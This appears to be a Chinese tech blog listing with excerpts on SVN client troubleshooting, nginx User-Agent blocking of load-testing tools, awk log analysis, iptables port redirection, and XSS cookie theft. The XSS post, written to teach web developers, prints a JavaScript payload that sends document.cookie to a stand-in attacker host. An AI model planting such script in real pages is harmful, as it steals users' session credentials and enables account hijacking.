大杂烩 Cornerstone无法查看log解决办法

作者:巩文    发表时间:2017年03月29日    热度:1020℃    评论:3

如果你使用Cornerstone管理svn,第一次查看log的时候悲催的选择了Download而不是Never,那么恭喜你你将无法查看log,进而也无法回滚了。解决方案如下:

退出Cornerstone

打开终端,执行   defaults delete com . zennaware . Connerstone HistoryCacheUsage

前往文件夹 ~/Library/Caches/Cornerstone 清空该文件夹下的文件

重新启动Cornerstone,再次查看log时选择Never就ok了

Linux nginx利用UA判断来防御压测攻击

作者:巩文    发表时间:2017年03月02日    热度:1036℃    评论:0
对于一些软测软件如ApacheBench,webbench,jmeter,通过制造大量的并发请求,对一些小型的个人网站,就很可能
因为 ab -c1000 -n2000 http://xxoo.com/ 就能让服务器短时候内资源耗尽,来构成"拒绝服务攻击"。

对于nginx可以用判断来源UA来进行简单防御
  
# 防压测攻击
        if ($http_user_agent ~ ApacheBench|webBench|Java/) {
                return 403;
        }

注:java/表示jmeter的user_agent

 然后用ab进行测试
ab -c2 -n10 http://gwalker.cn/

同时在查看nginx的access.log日志 (tail -f access.log)
观察到,所有apache ab生成的请求全部被挡掉了,直接以403状态进行返回。

再者查看ab命令的返回结果,完成的请求数10个。非200的返回数也为10个。

Linux awk之分析日志文件

作者:巩文    发表时间:2017年02月09日    热度:1203℃    评论:0
收集整理了一些用awk对服务器日志进行分析的命令,做下记录。本文章持续更新中..

1、查看有多少个IP访问:

 awk '{print $1}' log_file | sort | uniq | wc -l

上述等价于

cat log_file | awk '{print $1}' | sort | uniq | wc -l
[注] sort 与 uniq 先后顺序不能反!

2、查看每一个IP访问了多少个页面:

awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file > log.txt
3、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
4、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}' 

阅读全文

Linux 配置iptables,把80端口转到8080

作者:巩文    发表时间:2016年07月21日    热度:1920℃    评论:3
在Linux的下面部署了nginx服务,为了安全我们使用非root用户进行启动,但是在域名绑定时无法直接访问80端口号。众所周知,在unix下,非root用户不能监听1024以上的端口号,这个nginx服务器就没办法绑定在80端口下。所以这里需要使用linux的端口转发机制,把到80端口的服务请求都转到8080端口上。
在root账户下面运行一下命令:
 
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
注意:网上朋友的命令dport 前面都是 一个 -,通常都会报错。另外如果防火墙重新启动,该命令就会失效。
可以使用下面的命令把该规则保存到iptables里面 :
service iptables save

大杂烩 web开发安全之xss - cookie窃取

作者:巩文    发表时间:2016年03月14日    热度:2409℃    评论:8
做为web开发者,我们知道;当我们登录一个网页系统的时候,服务器会写一些cookie到我们的浏览器里(php默认的是 PHPSESSID );来记录用户登录状态。

当下次再访问其它页面的时候,浏览器会自动传递此cookie。

服务器通过这个传递过来对应的cookie来判定用户身份,从而返回与此用户相关数据的页面。

然而,浏览器客户端脚本语言javascript是可以通过 document.cookie 来得到cookie的。

那么如果所在的系统,存在xss漏洞。被值入如下js代码段
var img = document.createElement('img');
img.src = 'http://ooxx.com?c=' + encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

这样就会,你把用户的cookie窃取。以img标 src的请求方式,发送到操蛋者(http://ooxx.com)的服务器中记录下来(记录的方式,有很多种。其中最简单的。nginx 的access.log日志若开启了,便会记录下来)。
黑客,拿到你的cookie登录凭证,就可以用你的身份。搞破坏了。。。
阅读全文